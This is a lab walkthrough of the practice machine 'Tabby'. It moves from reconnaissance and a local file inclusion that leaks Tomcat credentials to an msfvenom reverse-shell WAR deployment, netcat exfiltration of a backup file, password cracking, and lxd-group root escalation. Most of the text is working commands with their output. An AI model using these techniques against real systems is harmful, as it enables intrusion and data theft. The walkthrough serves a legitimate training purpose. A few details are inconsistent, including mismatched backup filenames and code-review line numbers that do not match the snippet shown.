Tabby

Reconnaissance:

NMAP:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.194

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)

80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)

8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat

Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), Linux 5.0 - 5.5 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.194   

All 1000 scanned ports on 10.10.10.194 (10.10.10.194) are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.194

nmap found three open TCP ports, SSH (22), HTTP Apache (80), and HTTP Tomcat (8080): Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 Groovy. Tomcat isn’t surprising given the box name.

Enumeration: SSH - TCP PORT 22

OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

┌──(kali💀kali)-[~]
└─$ ssh 10.10.10.194

┌──(kali💀kali)-[~]
└─$ ssh root@10.10.10.194
root@10.10.10.194: Permission denied (publickey).
                                                                                                 
┌──(kali💀kali)-[~]
└─$ ssh admin@10.10.10.194
admin@10.10.10.194: Permission denied (publickey).

┌──(kali💀kali)-[~]
└─$ nc 10.10.10.194 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4

┌──(kali💀kali)-[~]
└─$ ssh -v 10.10.10.194 
OpenSSH_9.4p1 Debian-1, OpenSSL 3.0.11 19 Sep 2023

Enumeration: HTTP - TCP PORT 80/8080

The site is a hosting company: http://10.10.10.194/ http://10.10.10.194:8080/ http://megahosting.htb/

E-mail us : sales@megahosting.htb Bootstrap Themes

┌──(kali💀kali)-[~]
└─$ sudo nano /etc/hosts  
10.10.10.194 megahosting.htb
┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

/.php                 (Status: 403) [Size: 277]
/news.php             (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 14175]
/files                (Status: 301) [Size: 312] [--> http://10.10.10.194/files/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.10.194/assets/]
/Readme.txt           (Status: 200) [Size: 1574]
/.php                 (Status: 403) [Size: 277]

Forbidden: http://megahosting.htb/.php http://megahosting.htb/files/ http://10.10.10.194/files/ http://10.10.10.194/assets/

We can see that it is running Tomcat 9. Click on the manager webapp link.

http://10.10.10.194:8080/ http://10.10.10.194:8080/docs/ http://10.10.10.194:8080/examples/

tomcat9-admin: This package installs two web applications that can help managing this Tomcat instance. Once installed, you can access the manager webapp and the host-manager webapp.

We get prompted for credentials. At this stage we could test for default credentials. However, the Nikto scanner already does that and the default configuration of Autorecon runs a Nikto scan. Therefore, let’s view the nikto scan results.

┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.194

+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives

It didn’t report any default credentials. Before we attempt a brute force attack, let’s move on to enumerating the other port.

Foothold: Shell as tomcat

We can see in the URL that a file with the name “statement” is being called and executed to present the above page. So the first thing we should test for is local file inclusion (LFI). An LFI vulnerability occurs when an application uses the path to a file as user input. If the application does not properly validate that input, an attacker can use this vulnerability to include files locally present on the server. Add the following string in the file parameter of the URL.

http://megahosting.htb/news.php?file=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
tomcat:x:997:997::/opt/tomcat:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

We get the content of the passwd file! So it is definitely vulnerable to a LFI. Let’s switch to Burp for further testing.

The next thing to test for is Remote File Inclusion (RFI). RFI is similar to LFI, except that it instead allows an attacker to include remote files. This is way more dangerous than an LFI. There are several methods you can try to turn an LFI to an RFI. For this blog, I will test it using the PHP http:// wrapper

First, start a simple python server on the attack machine.

┌──(kali💀kali)-[~]
└─$ python -m SimpleHTTPServer 5555
GET /news.php?file=http://10.10.16.4:2560/Desktop/php-reverse-shell.php

We can see that there was no attempt to download the file.

So it’s not likely to be vulnerable to RFI. Therefore, let’s focus on the LFI vulnerability. The has a list of LFI payloads that you could try to potentially get useful information about the box the web server is running on. However, the first thing I would like to see is the source code of the news.php script to determine what caused the LFI vulnerability.

If we simply try adding “news.php” in the file parameter, we get nothing indicating that the script is not placed in the current directory. Next, let’s try the parent of the current directory.

GET /news.php?file=../news.php HTTP/1.1
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
  echo($line);
}
fclose($fh);
?>

We get the source code! Let’s do a quick code review.

  • Line 10: Takes in the content of the file URL parameter and saves it in the $file parameter.

  • Line 11: Takes in the content of the $file parameter, appends it to the directory files and attempts to open the file at that location.

  • Lines 12–14: Output the content of the file.

The LFI vulnerability is introduced in Line 11 since the $file parameter is a user-controlled input that is not sanitized. Discovering the reason behind the vulnerability is a bit of a detour from solving the box, however, it is important to understand why things work the way they do.

Going back, how can we use the LFI vulnerability to get code execution on the box? Well, when we visited the Tomcat server running on port 8080, it gave us the location of the tomcat-users.xml file. Depending on the configuration, this file could contain the list of user names, roles, and passwords. Let’s use the LFI vulnerability to output the content of the file.

GET /news.php?file=/etc/tomcat9/tomcat-users.xml HTTP/1.1

This outputs nothing which leads us to believe that the file is in a different location. From the nmap scans, we do know that the OS is Ubuntu and the version of Tomcat installed is version 9. We also know that the Apache version is 2.4.41. So let’s try to use all that information to narrow down the exact Ubuntu release.

After guessing around and Googling a bit, I just installed Tomcat with apt install tomcat9. Then I used find to look for tomcat-users.xml, and got two results:

/usr/share/tomcat9/etc/tomcat-users.xml

Use the above location to output the content of the file.

GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

Exploitation:

I’ve got a single user, tomcat, with a password, “$3cureP4s5w0rd123!”, and the roles admin-gui and manager-script.

  1. admin-gui: gives the user the ability to configure the Host Manager application using the graphical web interface.

  2. manager-script: gives the user the ability to configure the Manager application using the text interface instead of the graphical web interface.

The user tomcat has admin-gui, but not manager-gui, which means I can’t access the manager webapp But I can access the host-manager webapp:

http://10.10.10.194:8080/host-manager/html

This page is for adding virtual hosts and assigning them an app. I tried a few things that all failed:

┌──(kali💀kali)-[~/Desktop]
└─$ searchsploit Tomcat 9.0. 
┌──(kali💀kali)-[~/Desktop]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.4 LPORT=5555 -f war > exodus.war
┌──(kali💀kali)-[~/Desktop]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' --upload-file exodus.war http://10.10.10.194:8080/manager/text/deploy?path=/exodus
OK - Deployed application at context path [/exodus]
┌──(kali💀kali)-[~/Desktop]
└─$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:1:/usr/share/tomcat9-admin/host-manager
/exodus:running:0:exodus
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
┌──(kali💀kali)-[~/Desktop]
└─$ sudo nc -nlvp 5555
┌──(kali💀kali)-[~/Desktop]
└─$ curl http://10.10.10.194:8080/exodus/
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ 

Priv: tomcat –> ash

The first thing to do when you get initial access on the box is to enumerate the filesystem to see if there are any cleartext passwords. While doing that, we find a backup file that is encrypted.

tomcat@tabby:/var/lib$ cd /var/www/html/files
cd /var/www/html/files
tomcat@tabby:/var/www/html/files$ ls -l  

I copied 161612020_backup.zip it into /dev/shm and tried to unzip, but it needs a password. I exfiled it back to my own machine, starting nc on my machine, and then running:

tomcat@tabby:/var/www/html/files$ md5sum 16162020_backup.zip                             
f0a0af346ad4495cfdb01bd5173b0a52  16162020_backup.zip 
tomcat@tabby:/var/www/html/files$ cat 16162020_backup.zip | nc 10.10.14.18 443

I also got the hash so I could make sure I got the file without corruption. Back at my host, the file comes in, and the hashes match:

nc -lnvp 443 > 16162020_backup.zip
md5sum 16162020_backup.zip 
f0a0af346ad4495cfdb01bd5173b0a52  16162020_backup.zip

To crack the password, I’ll use zip2john to create a hash:

zip2john 16162020_backup.zip > 16162020_backup.zip.john

Then I can pass it to john with rockyou and it breaks instantly:

john 16162020_backup.zip.john --wordlist=/usr/share/wordlists/rockyou.txt 

su:

I was a bit confused when looking through the archive. There wasn’t anything useful in it. Then it occurred to me that ash may have reused his password. I ran su, and it worked:

tomcat@tabby:/var/www/html/files$ su ash
Password: admin@it

ash@tabby:/var/www/html/files$ whoami
ash

ash@tabby:~$ cat user.txt
9a2778da-------------------------

Priv: ash –> root

The first command I run in basically every Linux shell is id. It not only shows not only who the shell is running as, but also that users groups:

ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

In this case, adm is interesting (it allows me to read log files), but I’m immediately drawn to lxd. This group was an unintentional (and eventually patched) path to root in both mischief and obscurity, but here is actually the intended path. Since originally solving, I came across a really slick way to do this even better, so I’ll show both the standard way and the upgrade

LXC Exploitation:

The basic idea is that I can create a container and mount the root file system on Tabby into the container, where I then have full access to it. There are currently no containers on the host:

ash@tabby:/tmp$ /snap/bin/lxc list                                                                                                                                                           
+------+-------+------+------+------+-----------+                                        
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |    
+------+-------+------+------+------+-----------+ 

I’ll need to bring a container to Tabby. I’ll grab the LXD Alpina Linux image builder by running git clone [path to repo] in my /opt directory. This tool creates an Alpine Linux container image. I could do this with an OS flavor, but Alpine is nice because it’s really stripped down and small. I’ll go into that directory and run the builder:

┌──(kali💀kali)-[~/Desktop]
└─$ git clone https://github.com/saghul/lxd-alpine-builder

┌──(kali💀kali)-[~/Desktop/lxd-alpine-builder]
└─$ sudo bash build-alpine

When it finishes, there’s a .tar.gz package containing the files necessary to make an Alpine Linux container.

I’ll upload this to Tabby by running a Python webserver on my host (python3 -m http.server 80) and then running wget from Tabby:

┌──(kali💀kali)-[~/Desktop/lxd-alpine-builder]
└─$ python -m SimpleHTTPServer 6666
ash@tabby:/dev/shm$ wget http://10.10.16.4:6666/alpine-v3.13-x86_64-20210218_0139.tar.gz 

Next I’ll import the image into lxc:

ash@tabby:/dev/shm$ /snap/bin/lxc image import /dev/shm/alpine-v3.13-x86_64-20210218_0139.tar.gz --alias 0xdf-image

As the message suggests, I’ll need to run lxd init. I can just accept all the defaults:

ash@tabby:/dev/shm$ /snap/bin/lxd init

Now I’ll create a container from the image with the following options:

  • init - action to take, starting a container

  • 0xdf-image - the image to start

  • container-0xdf - the alias for the running container

  • -c security.privileged=true - by default, containers run as a non-root UID; this runs the container as root, giving it access to the host filesystem as root

ash@tabby:/dev/shm$ /snap/bin/lxc init 0xdf-image container-0xdf -c security.privileged=true

I’ll also mount part of the host file system into the container. This is useful to have a shared folder between the two. I’ll abuse it by mounting the host system root:

ash@tabby:/dev/shm$ /snap/bin/lxc config device add container-0xdf device-0xdf disk source=/ path=/mnt/root

Now the container is setup and ready, just not running:

ash@tabby:/dev/shm$ /snap/bin/lxc list               
+----------------+---------+------+------+-----------+-----------+
|      NAME      |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
+----------------+---------+------+------+-----------+-----------+
| container-0xdf | STOPPED |      |      | CONTAINER | 0         |
+----------------+---------+------+------+-----------+-----------+

I’ll start the container:

ash@tabby:/dev/shm$ /snap/bin/lxc start container-0xdf
ash@tabby:/dev/shm$ /snap/bin/lxc list                
+----------------+---------+----------------------+-----------------------------------------------+-----------+-----------+
|      NAME      |  STATE  |         IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS |
+----------------+---------+----------------------+-----------------------------------------------+-----------+-----------+
| container-0xdf | RUNNING | 10.227.81.251 (eth0) | fd42:dc54:f291:9c6d:216:3eff:fe84:fe35 (eth0) | CONTAINER | 0         |
+----------------+---------+----------------------+-----------------------------------------------+-----------+-----------+

The following lxc exec command returns a root shell inside the container:

ash@tabby:/dev/shm$ /snap/bin/lxc exec container-0xdf /bin/sh
~ # ^[[51;5Rid
uid=0(root) gid=0(root)

/mnt/root/root # ^[[51;18Rcat root.txt
cat root.txt
6923b------------------------------

Last updated